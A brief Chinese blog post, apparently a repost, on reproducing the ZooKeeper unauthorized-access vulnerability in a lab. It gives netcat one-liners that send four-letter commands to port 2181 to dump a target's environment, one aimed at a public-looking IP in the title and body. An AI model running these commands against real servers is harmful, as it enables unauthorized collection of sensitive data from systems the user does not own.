Zookeeper未授权访问漏洞复现_echo envc |ncat 19.178.51.114 2181

作者：IT小白 | 2024-07-27 01:56:43

踩

echo envc |ncat 19.178.51.114 2181

危害：远程利用 Zookeeper，通过服务器收集敏感信息或者在 Zookeeper 集群内进行破坏（比如：kill命令）。攻击者能够执行所有只允许由管理员运行的命令。

使用Linux，kali，win都可以
zookeeper环境搭建：教程

漏洞验证
1、对靶机进行未授权连接（需要搭建zookeeper）

在这里插入图片描述

2、使用命令获取目标的环境
echo envi|nc 192.168.123.124 2181
在这里插入图片描述
以上为靶场测试

声明：本文内容由网友自发贡献，不代表【wpsshop博客】立场，版权归原作者所有，本站不承担相应法律责任。如您发现有侵权的内容，请联系我们。转载请注明出处：https://www.wpsshop.cn/w/IT小白/article/detail/888154